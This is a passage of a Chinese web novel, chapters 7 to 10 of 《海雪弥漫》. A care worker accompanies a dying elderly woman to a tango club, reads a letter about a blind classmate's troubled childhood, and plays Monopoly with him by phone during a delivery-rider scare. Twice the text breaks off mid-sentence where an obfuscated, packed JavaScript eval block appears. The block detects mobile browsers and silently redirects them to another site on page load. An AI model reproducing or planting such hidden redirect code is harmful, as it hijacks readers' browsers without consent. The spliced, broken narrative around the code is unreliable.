《海雪弥漫》 7.第 7 章 然而赌约开始的第一天,虞谷秋就出师未捷。 她因为思考第一天该录下什么声音给汤骏年,在床上翻来覆去当了一晚上的烙饼,毕竟第二天轮休,她倒也不在意晚睡。 却没想到第二天一早,床边的电话就火急火燎响起来了。 一看到是院长打来的电话,这通常代表养老院有特殊情况,虞谷秋心头一惊,立刻清醒了。 “喂!” “小谷啊,打扰你休息了吧?” “没呢,我已经醒了。” “那太好了,你现在去市三院一趟可以吗?林淑秀昨天说要办理出院回来,我们都说不动她,你去劝劝,实在不行就帮她办出院手续接她回来吧。” “……好。” 虞谷秋匆匆套上衣服来到医院,先去找了主治医生了解情况。 “我们当然是希望她能留下来的。目前癌细胞已经扩散,但她身体的耐受性不太支持进一步手术或者化疗,所以我们建议住院进行保守治疗。但是她本人听说保守治疗后就坚持出院……我们也尊重她的选择。她之后可能会出现肠梗阻、出血等等急性情况,到时候还是要再送医,你们多多注意。” 虞谷秋步履沉重地来到走廊,看着病房门迟迟不敢进。 她来回踱步,在心里拼命打腹稿,总分总论述要如何劝服林淑秀——林淑秀的嘴皮实在厉害,她怕自己不一口气说完就说不完了。 进去时病房里医院护工已经给林淑秀换下病服,将她抱到了轮椅上。她对着进门的虞谷秋露出自傲的神色,炫耀说:“我这身衣服不错吧?前两天在直播间买的!” 隔壁床的阿姨解放地欢呼:“赶紧走!我总算可以清静了!” “你就嘴硬吧,昨晚明明还想让我给你下单。”林淑秀白她一眼,又期待地转向虞谷秋,“食堂今晚有没有梅菜扣肉啊?” 虞谷秋叹了口气:“都说了不能吃那么油腻的……” 隔壁床的阿姨吞咽着口水又探出头:“梅菜扣肉?!我也好想吃啊!” 林淑秀大手一挥:“这还不简单,我叫个闪送给你匀一份过来,你瞒着你家孩子偷偷吃呗。” “能行吗?被他们发现我可惨了,念叨一天不带停的。” “你自己想吃就吃呗,管他们!” 虞谷秋听着两位女士兴致勃勃地商讨着,病中的气色都显得有神两分——谁能想到她们讨论的仅仅是一块梅菜扣肉呢。 阿姨纠结一番,最后摇头道:“还是算了吧,我女儿为嘴馋这个骂过我好多回了……谢谢你啊。”她冲林淑秀摆摆手,“还是羡慕你呢,没儿没女,想做什么做什么,特自由。” 林淑秀笑容淡了些,没再说话了。 * 办好出院手续,虞谷秋准备叫车回养老院时,林淑秀却拿过手机,擅自更改了目的地。 “先去这里。”她一锤定音。 “这里……?” 地址输入的和平路三号,虞谷秋一头雾水,听林淑秀说:“这是阿根廷探戈舞的俱乐部,周末有Milonga的舞会。” “阿根廷探戈?”虞谷秋吃惊地问,“您还会这个?” 林淑秀大笑起来。 “我年轻的时候爱好跳这个,那时候都没什么俱乐部呢,我和妹妹都是拿一个收音机在露天的晚上瞎跳,有时候她跳女步,有时候我跳女步……现在的时代越来越好了,以后会更好吧。” 林淑秀看着车窗外流过的街景,每一天都会有细小的变化,这就是这个时代。 “不过我能看见的日子就到这里了。” 她情绪变化得非常快,前一秒还生龙活虎,这一秒却让人感觉到遗憾。以致于虞谷秋觉得说什么都很苍白。 林淑秀看了眼她的表情,又大笑起来。 “你现在这表情可太逗了,别安慰我,我不是怕死。”林淑秀降下一点车窗,舒服地眯起眼睛,“我腿出事的时候就很想去死了,但不敢死呀。现在老天爷帮我一把,我谢谢他还来不及。” 车子驶入和平路,很快停在了一栋三层小洋楼前。 虞谷秋在司机帮助下将林淑秀挪到了轮椅上,一路推着进了门,远远就听到了舞曲在流淌。 这还是她第一次来这种俱乐部,推开门的景象让她颇为震惊——飞扬,她的脑子里蹦出来这样两个字。 一间曾经是传统舞厅改建的屋子,空间并不大,但到场的人不少。男男女女,年轻年长者都有。有的穿了探戈的裙子和西装,有的就很随意,卫衣运动服就来了,这让穿着薄针织的虞谷秋觉得自己好像也可以完美融入这个气氛中。 最让她吃惊的是他们对于坐着轮椅的林淑秀并未多看一眼,一点不意外一个双腿都残疾的人来舞房有什么不对,他们都全然沉浸在音乐和舞蹈中,成双成对地旋转着。 虞谷秋将林淑秀推到角落,她也没有问她既然跳不了为什么要来,只是陪她安静地看着众人跳舞,却没想到林淑秀推了她一把,扬扬下巴说:“你不去试试吗?” “我?”虞谷秋连连摆手,“我一点不会。” “那个穿裙子和西装的就是教练,你去跟他们报名。” “我是陪您来的,对这个没什么兴趣。” 她以为这话或许会惹林淑秀生气,她也许会嚷嚷着向她灌输探戈有多棒云云,但林淑秀却没勉强她:“那好吧,你就陪我在这儿无聊地多看一会儿吧。” 舞池里的人们旋转、靠近、贴合、远离,最后又再度拥抱。 一曲结束,虞谷秋下意识地抬手鼓掌。不远处的一个穿卫衣的男人看过来,他和她一样落单,在边上看着,这时干脆向她走过来发出邀请。 “要一起跳一首吗?” 虞谷秋尴尬道:“我不会。” “你第一次来吗?” “嗯。” 他很乐观地表示:“我是第二次来,也不太会。菜鸟互啄,那我们互相踩到对方也没关系了!” “不用了……你还是找别人吧。” 虞谷秋表示歉意,他看向林淑秀,恍然道:“你是要陪妈妈吧?” 不等虞谷秋澄清,林淑秀先翻了个白眼给他。 “我还没结婚,你怎么还给我造谣个女儿出来。” 对方一愣,虞谷秋忍笑着附和。 “我们林淑秀女士六十一枝花呢,我妈妈可没她这么好看。” “抱歉抱歉……” 他连连鞠躬,以一种太空步的姿势很好笑地挪走了。 虞谷秋正乐着,林淑秀侧过头看她一眼:“小谷啊,你妈妈真的没我好看吗?” “真的。” 林淑秀咧开嘴,得意地点点头。 虞谷秋站得有点累了,从旁边拖了把凳子过来坐到林淑秀身边。 下一首舞曲开始了,那个落单的倒霉小子仍旧落了单。 虞谷秋的眼神追着人群旋转,慢慢地继续开口说:“她半边脸都有烫伤的疤。不过现在医美发达了,说不定她有做治疗。” “说不定……?你爸妈离婚了?” 虞谷秋摇摇头。 “他们应该还在一起吧,生了一对双胞胎,一家四口。”她轻快地说,“只有我生下来不到一百天从他们身边被送走了。” “这样啊。” 林淑秀并没有表现出任何多余的情绪,只是淡淡地点着头,说着这样啊。 这份平静让虞谷秋心安,她放下担心,跟着点点头,笑着说:“不过我挺幸运的,收养我的家庭,也就是我现在的妈妈爸爸,他们生育方面有点问题。后来他们说我是福星,因为不到一年居然奇迹地怀孕了。但是他们最后没有把我送走。” 林淑秀说:“那你很厉害了,有四个妈和爸。” “是啊,有四个呢。”可没有一个人记得她的出生日期了,“只不过有时候,我觉得自己是一根饭店里被打翻的筷子。” 在饭店里吃饭时打翻的筷子,要么就那样掉在地上,要么被好心捡起之后搁置在一边,几乎不会有人将它再握进手心了。 灯光昏暗下来,舞曲到了慢拍,全场的人们头依偎着头,亲密地靠在一起。 林淑秀伸出衰老的手,摸索到虞谷秋细瘦却有力的手背上握了握——这是一双干了很多活却几乎没怎么好好休息过的手。 虞谷秋垂下头说:“谢谢您,还没跟您说过那碗长寿面很好吃。” “那是我不要的,你谢我干什么。” “哦,好吧。” “食堂真的做得好吃吗?” “很好吃。” “比梅菜扣肉还好吃吗?” “嗯。” “早知道就不让给你了。” 灯光最昏暗的时候,有眼泪滴到两人交叠的手背上。 *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16515772|185335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>把林淑秀送回养老院,再把病历和详细情况和养老院里的医生交接好已经是晚上。 虞谷秋本来以为可以直接打道回府,结果很尴尬的是刚好碰上晚班交接结束准备一起去吃饭的同事们,更尴尬的是他们很热心地叫上她一起。 叫她的正是那个和她交好的同事杨芩,挎着她的胳膊说着我们很久没一起吃饭了,走走走。 虞谷秋慢了半拍,错过了最合适开口拒绝的时机,半推半就地跟着去了附近的一家川菜馆。因多加了虞谷秋变成五人,特地找了间包房。 一坐下,杨芩非常活络地帮大家拆封餐具,再用热水烫好,然后再放到圆桌转盘上转到每个人跟前。 虞谷秋很羡慕杨芩这样的人,因为她有她不具备的本领。 她不会热情地把对方拉来自己的行程,也不会周到地照顾所有人。她只是一个喜欢也习惯独来独往,在聚会时默默坐下不惹眼的人。 她向杨芩道过谢,就开始沉默地听大家闲聊,然后等菜上来后吃菜。虽然并没有胃口,脑子里还在惦记着第一天的录音,但是刷手机就显得很没礼貌,所以只能往嘴巴里塞满菜让自己显得很忙。 “你别光吃这道啊!那道炒牛肉也很好吃的。” 杨芩注意到虞谷秋几乎只在夹自己面前的菜,伸手帮她转了转圆桌,将另一道炒牛肉转到她跟前。 “谢谢!没事,我自己会夹的。” 虞谷秋很顾虑主动转桌板,哪怕是别人帮她转,她习惯在别人转桌时再顺其自然地换另一道转到她面前的菜。 “你跟我客气什么!” 杨芩直接将菜夹过来,虞谷秋赶紧拿起小碟子去接,匆忙中她刚放下的筷子被打翻了一只摔在地上。 这一瞬间,虞谷秋的脑海中飘过一个想法,这或许是命运的指引。 杨芩扯着嗓子对服务员喊送双新筷子来!喊完一扭头,诡异地发现虞谷秋正点开手机的录音,然后伸手将另一只好端端的筷子跟着扔了下去。 聚餐到尾声,大家在餐厅门口道别时,虞谷秋的微信小号里弹出来一条消息,来自于列表里躺着的唯一的账号。 仍是那个灰扑扑的微信默认头像,没有任何朋友圈记录的汤骏年。他像是想故意让任何人都认为他不再使用似的。 他发来的是一条语音,虞谷秋沿路往回走,一边迫不及待塞上耳机,听到他的回答:“是筷子掉到地上的声音。” 虞谷秋设想过盲人的听力很好,但是环境音乱糟糟的,他怎么能如此笃定呢? 感到有丝挫败,她不甘心地诈他,也用语音反问。 “你确定是筷子吗?” “确定。” “要不然你再想想?” “不用了,我对这个声音很熟悉。” 到此,虞谷秋便不再挣扎了。 她忍不住猜想,是不是刚失明那阵子他不熟悉碗筷位置,经常把它们弄掉。 “……好吧,你答对了。” 令她意外的是,汤骏年问她:“为什么会选择这个声音?” 他的语气听不出是对她出如此简单题目的挑衅,还是只是单纯好奇。 虞谷秋思索了一会儿,改用文字发送。 「我总是会注意到筷子掉到地上,所以作为开场白,我选择了我比较熟悉的声音给你。」 过了一会儿,汤骏年发来比她稍长两秒的录音。 “给你的考题。”他说。 虞谷秋点开手机,传来的声音很轻微,疑似翅膀在扑愣。 她不太自信地报出猜想。 “是小鸟在飞吗?” “正相反。”汤骏年说,“是它刚好落在我的窗前。” 她怀疑:“……这你都区别得出来呀?” “起和落的动势是不一样的,有细微的区别。” “……好吧。” 她想了想,也问他,“那你为什么选择这个声音?” 汤骏年却没有回了。 又过了好一会儿,虞谷秋换乘地铁到了家,手机叮咚一声。 汤骏年也改发了一条文字消息过来。 「小鸟也落地了,但它会自己飞走,飞去哪里都可以。」 莫名其妙的,她却好像读懂了他的潜台词,或者说她从中这么擅自理解着—— 不要去注意筷子,注意小鸟吧。 不要去做筷子,做小鸟吧。 8.第 8 章 第一天的比试,没有意外地是虞谷秋输了。 这也难免,汤骏年用耳朵听了那么多年,听力自然比她强出许多。而第一天时间匆忙,她所录制的筷子掉地其实是一瞬间的福至心灵,并不是精心想到的。 明明想出这个赌约,雄心壮志地说着要带给汤骏年一些不一样的东西……当下是激情澎湃的,冷静下来后才发现脑袋空空。完全是十几岁时候计划着远大未来的自己,这么多年过去了也并没有什么长进。 这七天的录音,她从开头就只确定了一种,是那天去按摩馆时那位盲人女技师启发她的灵感——宇宙的声音。 后来她在网上搜索相关的展览,还真让她找到了一个展,名字叫“宇宙和声”。 展览将太空望远镜观测到的各种声波转为音符,将天文数据不止保存成图像被大家看到,更能被听到。 看到这个展览简介的第一眼,虞谷秋就立刻买了早鸟票。而且她运气很好,刚好开展日期在一周后,赶得及让汤骏年听到。她深信虽然汤骏年现在和天文毫无关系了,但他内心依然留有一部分对于天文的喜爱。那如果看不见天文图像,她就想办法让他听到。 至于剩下的五天,她内心有许多想法,但想法太多有时候也就等于没有想法。 不过眼下倒不是考虑这些的时候,今天她是白班,虞谷秋洗完脸,将思绪清空,按部就班地来到养老院开始一天的工作。 到午休的时候,她本想午睡一会儿,但不放心刚出院的林淑秀,想了想决定去她房间一趟。 这个点大部分老人都在午睡,院里很安静,精神头好一些的提前约着去了麻将室搓麻,或者做一些自己的兴趣爱好。林淑秀从来不参与他们,虞谷秋之前以为她是没什么爱好,现在才知道她是没办法再做她的爱好。 她来到房间时,林淑秀并不在床上休息,躬着背吃力地翻箱倒柜。虞谷秋一惊,连忙把人扶到一边。 “您找什么呢?我来就行。” 林淑秀倒也不客气,指挥说:“我也记不得放哪儿了,满春园的月饼铁盒子,诶诶,上面两个我翻过了。” “噢,那我找找下面。” 虞谷秋合上刚打开的柜门,蹲下身,在林淑秀一堆乱七八糟的行李中寻找她口中的铁盒子。 手心依次拂过一只深红色皮革舞鞋带,一本西班牙语辞典,一瓶还有三分之一的香水,两件旧旧的毛衣,过去开的没有吃完的药片,黑色的染发膏,没有拆封已经过期的茶包,还有自录的旧磁带,白色胶布上晕开的蓝色钢笔写着1981年Buenos Aires舞曲选。 林淑秀没有自己的房子,跟随她的家当都在这里。虞谷秋一一摸过这些,恍然意识到这些碍事的物件可以包含她的一生了。 初秋的天气,虞谷秋找出一身汗,终于在柜子最深处摸到了一只手感生凉的铁盒。 “找到了!” 她高兴地把盒子抽出来,上面印着满园春三个字,就是它了! 林淑秀此时神色恹恹地上了床,角度调成半直,她靠着床,眼睛要合不合。 “您困了?那我把东西放在这儿。” 虞谷秋压低声音,把东西放在床头柜上,林淑秀却伸手示意她坐下来。 “我是有点困,但不想睡,不然晚上就睡不着了。” 她努努嘴,示意虞谷秋把铁盒打开。 “里面有一些信,你随便挑一份读给我听吧。” “哦……好。那我就随便挑了?” 虞谷秋从中抽一封云朵图样的信封,奇怪的是信上并没有收件人和地址。 展开信纸,积放在信纸间的尘埃随之飞舞在空气中,她开始轻声朗读。 「姐姐: 有很长一段时间没写信给你了,毕竟我们已经不都是十多二十多岁时有那么多话可讲的年纪,而现在我生活里的那些杂七杂八讲给你你肯定也不爱听。但除了你,姐姐,我不知道还能跟谁讲。 虽然这封信你也并不能看到。 你是我生命里最亲近的人,却也是我生命里最形影不离的假想敌。 我总是在想,我如果当初不总暗自和你做比较,我是不是就不会生下小年?我痛快地离婚,孑然一身轻,也许此时可以和你一样去阿根廷住上一段日子……想到这里,我意识到自己又不免在和你做比较了。 我总是渴望和你不一样,才那么草率地结婚,想要证明我选择的路是更对的,人过了三十当然得成家立业,这是他们告诉我的。但事实你也看到了,并毫不留情地怪我。明明是那个男人的错,为什么你先指责的人是我呢?你没有先过问我一句很受伤吧,而是说活该。 因为这一点,我至今仍不愿意原谅你。而你也不原谅我的鲁莽。 但我还是想告诉你,我心里的某部分已经原谅你了,不然我不会用你留下的名字作为小年的名字。 但他并不姓孟,也不姓林,我不想他继承那个男人的姓,也不想用我们的姓,我们的姓是爸爸的。最后我想起了妈妈的姓,汤。并且这样做,我可以把这个孩子当成我的弟弟,而不是我的儿子。 我没法对他有好脸色,他是我识人不清的恶果,害我的身体也吃了那么多苦。数不尽的恶心,失眠,他却只知道哇哇大哭,像一个憎恶的讨债鬼。 不知道我上辈子欠了这个人什么债?逼他用成为母亲这一酷刑惩罚我。 但我只敢和你说这些,姐姐。在别人面前我不敢说半点我不爱这个孩子一个字。我不知道是谁说的母亲必须爱她的孩子,难道是我们的妈妈给我们的错觉吗?我想,也许妈妈也只是在我们面前撒谎,所有的母亲都在对世界撒谎。 这样的谎言让我很痛苦,让我觉得我不配是一个母亲,一个女人。我开始酗酒,就像爸爸一样。 这个时候我才发现,虽然我那么恨爸爸,可我骨子里居然真的是他的孩子。 我模仿着他对我的样子对小年,但我比他好,我至少不会打他,我下不去手。更何况我如果打他,他该怎么办呢?没有人会像姐姐你那样冲到我跟前用身体保护我那样保护他,我绝对不能这样。 尽管如此,那孩子也不会凭借这一点感谢我的,他应该恨我才对。我的的确确是个不称职的妈妈,连去接他放学也因为喝醉误了时间。那天我没接到他,幼儿园门口空无一人。 我脑子里一片空白,接着开始胡思乱想新闻上拐卖孩子的案件……我以为我的人生从结婚开始就已经掉入深渊,婚礼那天的红炮仗就是一种预示,那么浓的硝烟味,为什么大家会在结婚时放这个?我当时很觉得奇怪,现在才发觉那不是为了庆祝,战场上才有硝烟,对吧?婚姻就是战场的开端,我的人生从此输得一败涂地,却没有想到这一刻才是掉到底。 我以为我一点也不爱这个孩子的。 万幸的是小年没有发生意外,他自己很乖地回家了。我到家时,他小小的身体正在拿着抹布擦地,空气里漂着清新剂的味道,我留下来的酒味太臭了。 我第一次想打他一巴掌,想骂他为什么不听话留下来等妈妈。 虽然失约的人是我。 我看着他,小年也抬起头看着我说,妈妈,我给你热了牛奶。 明明该是我督促他喝牛奶不是吗?我抬起手,那一巴掌最后落到了我自己脸上。 姐姐,我想戒酒了。 我以后要和小年一起每天喝一杯牛奶,我希望他长得高高的,像树一样挺拔 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不过虞谷秋又立刻打消了这个想法。 就算再有芥蒂,知道姨妈生了那么重的病也该软化了……那两个人之间,应该还有着一段无法轻易释怀的过往吧。 除此之外,这封信里让虞谷秋感叹的事情还有很多很多。 她一直以为汤骏年是出生幸福的天之骄子,他所展现出来的舒展与她不同,她想那一定是沐浴着纯粹的爱所长大的孩子。可原来不是这样。 下班回家时的公车上,虞谷秋不自觉地开始想象信里没提到的汤骏年的童年后续。 她好奇他的妈妈真的戒酒了吗?有没有做到和他一起每天喝一杯牛奶。如果仅从他的身高来看的话,那似乎是做到了。 汤骏年的童年只有他和妈妈两个人,她的童年加上妈妈爸爸和弟弟有四个人,可不知道谁的童年更难过一些。 没读到那封信之前,她会斩钉截铁地认为是自己。 虞谷秋回到家,或许是被林淑秀传染了,她也开始翻箱倒柜,翻出了一件压箱底的玩具,大富翁。 这本来是弟弟的玩具,他拉着她玩了几次之后就腻了,说着送你啦,便成为了她的玩具,也是她童年时唯一的玩具。 虞谷秋颇为怀念地抚摸着盒子,一个念头莫名涌上来。 她将大富翁左右摇晃的声音录下来发给来汤骏年。 他大概是在工作,到了深夜才回复这条消息。 这次变得不那么确定了。 “是什么卡片的盒子吗,桌游?” 虞谷秋傻眼,没想到他如此接近答案,只得硬着头皮说:“要说出具体名字才算正确。”她怕自己有点耍无赖,补充说,“不是小众的,很好猜。” 过了一会儿,汤骏年发来答案。 “狼人杀吗?” “错了!”虞谷秋松口气,“是大富翁。” “……原来如此。” “你以前玩过吗?” “很少玩。” “那就是会玩了。” “怎么了?” “你想不想玩一局?” 微信开始一片沉默,这就是汤骏年间接拒绝的方式。 就在虞谷秋差点以为他不会再回时,手机一震。 “这个没有支持盲人对战的软件吧。” 见他似乎并没有一口回绝的意思,虞谷秋不免精神振奋起来。 “无所谓,我有别的办法可以玩。只不过需要打电话。” 虞谷秋握紧手机。 “汤骏年,现在可以打电话给你吗?” 9.第 9 章 她想,他应该会拒绝自己的,就像他从前拒绝别人一样。事实也果然如此,他找借口回复说不太方便。 因此虞谷秋也没太大失落,不如说他痛快同意才会让她感觉奇怪。 “没关系,那下次吧,这次我就先自己跟自己玩了。” 她故意地说了最后并不必要交代的那句。 果然,这句话引起了汤骏年的好奇心。 “自己怎么玩?” “很简单啊,左手和右手。” “……不无聊吗?为什么不去网上连线玩?” “不无聊呀,我从小就这么玩。那些都是陌生人,还不如和自己。” 说着这句话时,她的眼前浮现着信中那个小小的拿着抹布拖地的汤骏年,如果是他的话,或许可以理解自己的那份心情。 所以她有意地将这一面袒露给了他。 对面沉默了片刻,汤骏年说:“我们也不过是点头之交。” “偶尔会这样联系的点头之交应该可以升升级了吧?比如君子之交。古代的君子下棋,现代的君子就玩大富翁。” 歪理正说,汤骏年大概拿这样的胡搅蛮缠没辙,干脆不再回复了。 虞谷秋遗憾地放下手机,洗漱完敷面膜,在沙发上半躺着等面膜干,困意逐渐上涌。 脑海里有个意识催促着自己赶紧起来收拾完去床上,但另一个自己懒洋洋地摁住身体,大不了地说着睡在沙发上也无所谓吧,自己一个人想干什么就干什么。 就是这个时候,耳朵灵敏地捕捉到了消息的提示音。 已经耷拉下去的眼皮飞快地上抬,她摸索着摁开屏幕,听清消息的瞬间心头一跳。 “那就来一局吧。” 虞谷秋登时弹射地直坐起来,面膜的黏液滴滴答答地滑到脖子里也顾不上。 “现在吗?” “嗯,你方便吗?” “好,那我打给你吧!” 她迅速掀开面膜,胡乱拍了拍自己的脸,把大富翁摊开做好准备,接着,按下绿色的通话键。 漫长的嘟嘟声响起。 少年时代时,明明趁着放学间隙连和他搭话都会紧张到咬舌头的自己,居然会在现在的深夜时分给对方拨去一通电话。 而他也接通了,和她招呼说:“你好。” 很有距离感的招呼。 仿佛有谁在注视着她似的,虞谷秋不由得坐直身体,还用手拨了几下头发。 她尽量自然地闲聊说:“已经很晚了,不会打扰你休息吧?” “还好。直接来吧,怎么玩?” “我会详细地说你和我的行动,你只要告诉我你的选择就好了。” “我怎么确认你跟我说的都是实话?” “这个你放心,不要质疑一个习惯了左手和右手互搏的玩家的诚实。” “……那来吧。” 虞谷秋把蓝色和红色的棋子一起放在起始点,想像着汤骏年此刻就坐在自己对面,跟他说:“现在我们起始金额是三千,我大方让你先来,你是红色。”她抛动骰子,“五点——你来到了意大利!500金,要买吗?” “当然。” “那你现在只有两千五,记得扣掉哦。”虞谷秋继续抛动骰子,“到我了——我是六,来到了德国,500金,我也买。” “好了,现在又轮到你了——是四,你走到了问号,是抽命运卡。你告诉我你要抽第几张吧?” “第六张。” 虞谷秋抽出卡一看,神情一乐。 “你在边境偷渡被抓,被送去监狱,停留三回合。” 汤骏年没支声,但她却好像感受到他无语的心情。 她赶紧申明:“我可没有骗你啊。” 汤骏年嗯了一声:“我没有怀疑你。” 这句话听在她耳朵里却不免心虚,她含糊地应声,抛骰走到了火车站,可以去地图上的任意一个位置。 虞谷秋沉吟着,说:“我选择去监狱。” 汤骏年很诧异:“为什么?” “这样就可以带你越狱了。” “……大富翁还有这个规则?” “你看,我们都静默三个回合的话,这三个回合不就等于不存在?”虞谷秋振振有词,“从时间上来讲,我们就是越狱了。” 被她的话绕进去,汤骏年顿了一下才没有跑偏。 “重点是你不该来监狱,这样你就拥有三回合。” 虞谷秋反驳:“没有什么该不该的。是你说,小鸟可以去任何地方。” 他似乎没想过她会这么联想,于是问:“原来你是小鸟吗?” “还不是。但我正在努力,从这片世界地图开始。”她语气轻快得仿佛真有只小鸟在摇摇晃晃地乱飞,“汤骏年,我们接着环游世界吧。” 电话那头很安静,她恍惚都以为是他挂断了,直到听见他低声说,那真是久违的旅行了。 伦敦、东京、纽约、巴黎、慕尼黑……转眼之间,地图上被棋子的标志填满,今夜他们可真忙碌啊,辗转去了这么多地方。 虞谷秋最后说得口干舌燥,中途下单的奶茶仿若及时雨送到了。 她听到敲门声,自然地对门外喊了一嗓子:“放门口就好,谢谢!” 接着她跟电话里的汤骏年说自己去取一下奶茶,稍微暂停一下,踩着拖鞋小跑过去开门。 这些年独居养成的良好习惯使得她在开门前下意识先看了眼猫眼,就是这一眼,虞谷秋呼吸一滞。 有人一声不响地站在门外。 他一手拿着她的饮料,一手低着头在摆弄手机。明明她说过放下饮料就可以走。 冷汗瞬间沁满后背,虞谷秋轻手锁好大门,随即不动声色地后退,远离门口回到沙发上,微颤着将手机紧紧贴在耳边。 “……喂。” 她极力压低声音,汤骏年听出了不对劲,立刻问:“怎么了?” “外卖员没有走,也没有出声。”她吞咽下惊慌,冷静道,“我想我先报警比较保险。” “好。” 汤骏年利落地切掉通讯,虞谷秋反手躲到房间里拨通了110,把状况言简意赅地复述了一遍,得到会立即上门的回复后,她才发现掌心的汗水已经将手机壳沾湿了。 还未完全稳定心神,掌心贴着的手机又铃铃振响,她吓一跳,看清是汤骏年打来的。 虞谷秋一接通,以为他要问报警的情况,刚想和他说,他却先开口说:“你走到靠近门口的位置,然后公放这通电话。” 虞谷秋愣了一下,迅速反应过来他可能是想营造家里不止她一人住的状况,便按照他的指示,并主动开口暗示他:“你什么时候回来?我点了奶茶在门口,你一会儿回来顺便帮拿我进来好不好。” 她故意伪装出亲昵的语气,假装成一对情侣,虽然可能效果不是很理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526266|185335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想。 汤骏年硬着头皮陪她演,接着她的话说:“呃……好。” 他也同样想装出亲昵的语气,但他的语气真的好呆。 虞谷秋摸了摸鼻子,在客厅里来回地踱步着,碰上意外的不安,等待警察上门的焦躁,统统被这瞬间汤骏年这声尴尬的好盖过。她深深地掩住面孔,从指缝里吸气,呼气,吸气,呼气,拼命压住笑意。 本来不敢去看猫眼的恐惧在这一刻也消失殆尽,虞谷秋横生出胆子重新看了看,门外一片漆黑,耳朵贴上门也没听到任何动静,看样子是走了。 她将这个情况低声描述给汤骏年,但他还是很严肃地说:“也许并没有走,你千万不能出去。” “嗯,我知道。警察估计一会儿也要来了,你先去休息吧。谢谢!” 她很感激汤骏年,但不想再麻烦对方,夜已经深了。他刚才能打电话过来陪她演这一出已经是意料之外。 不,也不能算意料之外……她一直深知他本质上是个如此好的人,绝不会袖手旁观。 “电话先开着吧。”他不同意现在挂电话,“等警察来再说。” 虞谷秋抿起嘴唇,再次说了谢谢。 她重新回到房间锁好门,坐在飘窗上,灯光开得很大,但抬头仍能看到月亮。 电话那头很安静,但伴随着这种安静,身体的战栗慢慢平复下来。 虞谷秋轻轻喂了一声,汤骏年即刻回应了她。 他努力扯开话题,但很明显不会找话题。 因为他说的是:“其实还没问过你,你名字是哪个dong,冬天的冬吗?” 不过这个问题成功让虞谷秋将所有害怕的情绪一瞬间抛在脑后,心虚占了上风。 她支吾着还给自己编了个像模像样的理由:“对,因为我在冬天出生。” “原来如此。”他附和,“不错的名字。” “哪里不错……你太敷衍了。” 虞谷秋忍不住吐槽,这可是她花了一秒都不到编出来的名字。 汤骏年说:“名字里有季节的话就会感觉很好听。” 虞谷秋自然不信,只觉得他连安慰人的谎言都显得真诚。 她不再纠缠于这个假名字,怕继续说下去露馅,转移话题说:“好吧,相信你了,毕竟你刚刚的演技真的不太好。” 对面沉默了一会儿,干巴道:“那真是抱歉了,我不知道怎么跟女生亲密地讲话。” 这话令虞谷秋陷入怔忪。 “你没有……”她深呼吸,“你没有谈过吗?” “没有。” 是因为眼睛的关系吗?她很想这样问,但又觉得这问题隐含着一种歧视。 她换了一种问法。 “是一直没有喜欢的人吗?” 汤骏年的回答卡顿了。 他似乎已经做好了回答眼睛相关的准备,并没有想到飞来的是这个问题。 一个就像对其他眼睛健全的人一样问出的问题。 虞谷秋听到电话一直安静,担心这个问题还是缺乏边界感,着补说:“我随口问的。抱歉啊。你不用回答我。” 汤骏年这才出声说:“没关系,我只是在回忆。” “回忆?” 他的声音听上去有些遥远,似乎正在时光的隧道里游走。 “我确实一直没有喜欢的人,但好感的人有过一个……在我的眼睛还看得见的时候。” 10.第 10 章 听到汤骏年亲口承认,虞谷秋呼吸骤停了一刹那。 说不上来这瞬间的心情,像以前小时候信号不好的电视机受到四面八方的干扰:惊讶,好奇,猜测……咔嚓,大脑瞬间花屏了。 他眼睛还看得见的时候……初中小学年级太小,大一时间又很短,汤骏年不太像是会对人一见钟情的类型,那么,极有可能是高中。 是同班同学吗?她也认识的人? 虽然达不到喜欢的程度,但对于那个时候的汤骏年来说,已经有了感兴趣的人这件事就已经足够令她嫉妒。 如果那个对象是她从未遇见过的某某,她只会羡慕。可一旦原来是朝夕相处过的某位,她就开始坐立难安了。 这个问题开始猛烈灼烧着她,虞谷秋忍不住追问:“是怎么样的人?” 但没有给汤骏年回答的余地——警察来了。 他们按照流程询问了事情发生的具体经过,表示目前没在小区外和楼道发现可疑人员,让虞谷秋向外卖平台报告一下事情经过,看看这位骑手是不是有问题。 虞谷秋这时点开平台,当时她专心于和汤骏年通电话玩大富翁,居然漏掉了三条消息。 她点开未读的红点—— 【您好,我是聋哑人不方便打电话,您的餐到了,奶盖很容易化,请早点取哦!】 【您没开门,我就放门口啦,祝您用餐愉快!】 【[图片]】 对方的外卖认证上有一个听障骑士的标志。 虞谷秋这时仔细回想她从猫眼上看到的那一幕,恍然地意识到,当时可能对方正在给她发送消息,因为他无法说话。 她将这则重要消息告知警察,最终以乌龙收尾。 电话还接通着,汤骏年也能听清这边的进展,虞谷秋难为情道:“对不起,麻烦你到这么晚,结果是虚惊一场。” “最后结果是安全的就好。” “是啊……”虞谷秋苦笑,“我刚才太神经质了。” “你自己独居,应该保持这样的警惕心。” “如果我再多想一点就好了……” 日常自己做饭的次数比较多,点外卖屈指可数,之前从没遇到听障骑士送餐,也就下意识地没有这个概念。 但其实生活里,这些患有障碍的人群一直在周围,只不过他们经常是沉默的,不被考虑和看见的人群。 